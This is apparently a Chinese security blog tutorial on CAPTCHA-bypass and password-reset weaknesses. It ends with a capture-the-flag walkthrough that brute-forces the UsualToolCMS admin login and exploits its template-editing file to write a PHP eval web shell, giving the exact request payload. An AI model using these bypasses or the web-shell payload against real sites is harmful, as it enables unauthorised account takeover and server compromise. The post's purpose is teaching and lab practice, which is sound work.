验证码绕过、密码找回漏洞简介


一、验证码的作用

验证码(CAPTCHA)是“Completely Automated Public Turing test to tell Computers and Humans Apart”(全自动区分计算机和人类的图灵测试)的缩写,是一种区分用户是计算机还是人的公共全自动程序。
验证码主要可为分为两类,一类是区分用户是计算机还是人,另一类是区分用户的身份。
为什么我们需要验证码?
如果没有验证码是不是就可以尝试用脚本去跑密码,比如银行卡密码有6位,共100w种组合 (假如输错密码不会冻卡,则密码一定可以跑出来)。验证码可以区分你是人还是脚本,防止恶意破解密码或者防止论坛恶意灌水,疯狂发评论。
早期的验证码基本都是纯文字的:字母+ 数字
人脑的记忆是有限的,人设置出来的密码常常会有一些自己的习惯,可能包含名字、身份证、生日、电话号码等,这样写出来的密码很容易成为弱密码。


二、验证码绕过的常见姿势

设置了验证码并不是完全可靠的,在很多情况存在验证码绕过的情况,尤其是在登录界面。结合乌云漏洞库的相关案例,可以总结如下:

可以看到,验证码绕过的情况有很多种,其中最常见的是验证码可以常用和验证码在客户端进行验证。
常见的绕过手法主要有以下这些:

(一)前端验证

这种验证方式,可以直接抓包然后进行跑数据包,删除前端验证的有关代码就可以绕过。

(二)验证码无验证

验证码设置了但是并没有效验,乱输验证码也能够成功的登录(估计老板没给开发工资吧)。即验证码随便设置了,但是可能因为某种原因,比如开发者忘了或者项目中断。

(三)验证码可重复使用

验证码没有限制重复使用次数或者不会过期,可以重复使用,比如现在的验证码1111,然后虽然你登录失败后验证码会变,但是你输入1111他仍然判定你验证码正确(常见)

(四)验证码空值绕过

验证码空值绕过,比如,我们现在抓一个包,发现登录参数是user=admin&password=admin&yzm=4123。 yzm验证码参数,但是我们如果去掉yzm的传参我们就可以绕过验证码机制,直接传参user=admin&password=admin,验证码就失效了。

(五)用脚本识别验证码

验证码干扰过低,轻松使用脚本识别

(六)验证码出现在前端代码中

验证码直接输出在了源码中,可以自动化获取进行登录入口的爆破。

(七)验证码可控制

验证码可控制,比如他的验证码包含在URL里面,是一个URL传参,我们可以把URL设置定,那么验证码可控制。

(八)验证码可推算

验证码有规则,比如是时间戳的后6位(rand函数进行随机数),那么可以根据验证码的规则来计算出验证码。

(九)万能验证码

有万能验证码(也可以叫万能密码),验证码无论是什么,只要输入某固定验证码,比如000000就能直接绕过。这种验证码主要出现在硬件设备上,用于方便专业人员调试,但也因此留下了隐患。

(十)验证码藏在cookie中

验证码有的时候会藏在cookie里面,分析一下cookie,看看是不是存在验证码的相关参数

(十一)验证码素材过少

图片验证码,素材太少,容易被全部收集用于识别,所以直接把所有的验证码都整理出来,让脚本去识别。

(十二)多次登陆失败出现的验证码

这种情况需要分类讨论,最常见的是这三种:

  • 基于session检测:
    根据cookie中的session来决定有没有验证码的。因此删掉所有cookie去请求此接口即可免去验证码。
  • 基于ip的检测:
    绕过的方法主要就是更换自己本机的ip。可以通过自己搭建代理池去更换,也可以直接修改请求头中的X-FORWARDED-FOR换ip为127.0.0.1(甚至做渗透测试可以一直开着这个),这种情况下对于某些网站会有奇效,网站的可能会理解为你是本地在访问,很多安全措施就没那么严格,甚至直接取消了。
  • 基于用户的检测:
    这种情况下可以尝试爆破用户名,而非爆破密码,从而实现绕过验证码的检测。

(十三)输错密码多次后出现的验证码

输错密码两三次才需要输入验证码的情况,可以尝试替换Cookie,因为cookie代表了用户的身份,而每一个cookie会对应一个session,如果换了个cookie,服务器上就会有新的session和cookie对应。还可以换用户绑定(换个用户)。
注:
cookie和session的区别
session和cookie是绑定的,cookie是给用户的,session是服务器上和cookie绑定的信息,可以假设,cookie是银行卡,而session则是银行服务器里与你这张银行卡对应的信息。所以如果session被删掉了,则对应的cookie也就没有用了。


三、密码找回漏洞

(一)用于区分用户身份的验证码

有一类验证码,他并不是区分用户是计算机还是人的公共全自动程序,他是用来证明你的身份的,比如你登录微信,支付宝,都是支持直接用短信验证码登录。
当你QQ忘记密码的时候,你需要找回密码,然后他要求把APP显示的动态密码填入框里面,一般而言手机验证码时间都有5-30分钟,如果他没有做尝试限制的话我们是不是可以进行穷举?然后直接跑出验证码然后就修改他人密码呢?
无论是采用短信还是邮箱来接收,只要是用于区分用户身份的验证码都是属于这一类验证码。

(二)两种主要的密码找回方法

第一种就是找回密码,往邮箱发送明文或密文的密码或者验证码(手机短信验证就是往你手机号码发验证码)通过这样的方法来判断是否是本人。
第二种是发送一个重置密码的链接到邮箱,用户点击以后就可以重置密码。

(三)密码找回漏洞的应用

密码找回漏洞的分布:

  • 1、点击发送验证码,抓包发现验证码直接出现在数据包里;
  • 2、验证码无次数限制可爆破;
  • 3、验证码可控;
  • 4、直接修改密码页面;
  • 5、通过越权漏洞找回密码。

四、靶场实操

(一)本地搭建cms测试

下载UsualToolCMS-8.0版本进行本地搭建。通过对本地搭建的cms进行分析,可以确定后台地址在cmsadmin文件夹里的a_login.php文件里面。
所以只需要在网站主页后面加上/cmsadmin/a_login.php即可打开后台登陆页面。
访问后台的登陆页面:

首先进行简单的测试,随便输入不同的账号密码,然后输入正确的验证码,可以看到,提示的是账户不存在:


尝试输入错误的验证码,发现提示验证码不正确:

可见可以根据不同的提示信息确定账户名,先测试常见的账号,比如admin、user等。当输入admin时,页面提示:


据此可以判断,admin这个账户必然存在。现在知道了账户名,那么就可以尝试爆破管理员的密码。但是在此之前,需要先解决验证码的问题。从刚才的测试中可以看出,验证码是会检验正确性的,所以先尝试抓包删掉验证码再放包:


放包过去,发现会提示验证码不正确。
那么验证码会不会过期呢?经过测试发现,只要在proxy模块抓包后,不放包,然后把数据包发送到repeater模块,多点几次GO,发现提示信息都是一样的:


这说明验证码没有过期,也没有更新。但如果在proxy这里把包放过去,页面就会弹窗,而那个弹窗点了确定以后会自动刷新验证码,所以我们要保持住proxy模块的数据包不放掉,然后到intruder模块去爆破密码。
经过爆破,得到管理员密码为admin
到后台密码以后,就可以登陆网站后台。我们之前拿shell一般是SQL注入或者文件上传,而实际上用代码审计找到漏洞并加以利用也可以拿shell。
进入后台之后我们其实也还是只能操作网站,如果想要操纵目标计算机就需要后台Getshell,需要想办法让自己的一句话木马文件上传到目标网站上。(以往都是上传,但是其实不需要上传也能把自己的一句话木马搞到目标站点上)先在本地的cms上面进行代码审计,这里直接跳过代码审计的步骤了,一步到位。
从下载的cms源码中可以看出,在cmsadmin文件夹下有个a_templetex.php,里面前面几行代码如下:

<?php 
require_once 'a_top.php'; 
$t=UsualToolCMS::sqlcheck($_GET["t"]); 
$x=UsualToolCMS::sqlcheck($_GET["x"]);
if($x=="m"){ $filename=$_POST["filename"]; 
$dir=$_POST["dir"]; 
$content=$_POST["content"]; 
$id=UsualToolCMS::sqlcheckx($_POST["id"]); 
$tp=$_POST["tp"]; 
$contents=iconv("utf-8","utf-8",$content); 
$filenames="../".$dir."/".$filename.""; 
file_put_contents($filenames,$contents); 
echo "<script>alert('更新模板成功!');window.location.href='?t=edit&id=$id&filename=$filename&dir=$dir&tp=$tp'</script>"; } 
?>

代码分析:
file_put_contents()这个函数是写文件,看这个变量$content如果能由我决定,是不是就可以写一句话木马了?$filename如果由我控制的话是不是就可以决定写的文件名字了?这里$x采用GET传参,只要等于m就可以执行后面的代码。$content$filename都是用POST传参,所以只要确定传参不会被过滤、代码能执行到if这一步,就可以达成写马的一切条件了。

(二)靶场实战

进入靶场,首先需要测试用于写马的文件是否存在,在靶场地址后面加上/cmsadmin/a_templetex.php访问该文件:

可见该文件存在。
再次访问该文件,并抓包:

由于从源代码里可以看出,需要用POST传参的方法,因此单击鼠标右键选择change request method。接着首先进行GET传参,第一行的URL后面输入?x=m
然后在下面空白处写(空一行):

filename=1000.php&content=<?php eval($_REQUEST[8])?>


然后在浏览器中访问我们生成的文件并传参试试看:
在靶场主界面的url地址后面加个/1000.php?8=phpinfo();,结果如下:


写马成功!
接下来上菜刀连接该文件:


找到flag:flag{sdcms_tm}
提交flag:


五、小结

本文首先介绍验证码绕过的常见姿势及密码找回漏洞,通过本地搭建cms进行测试,确定漏洞的利用方法,并在相应的靶场上进行漏洞复现,演示了验证码漏洞的利用过程,希望对大家学习验证码和密码找回漏洞起到一定的帮助。

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值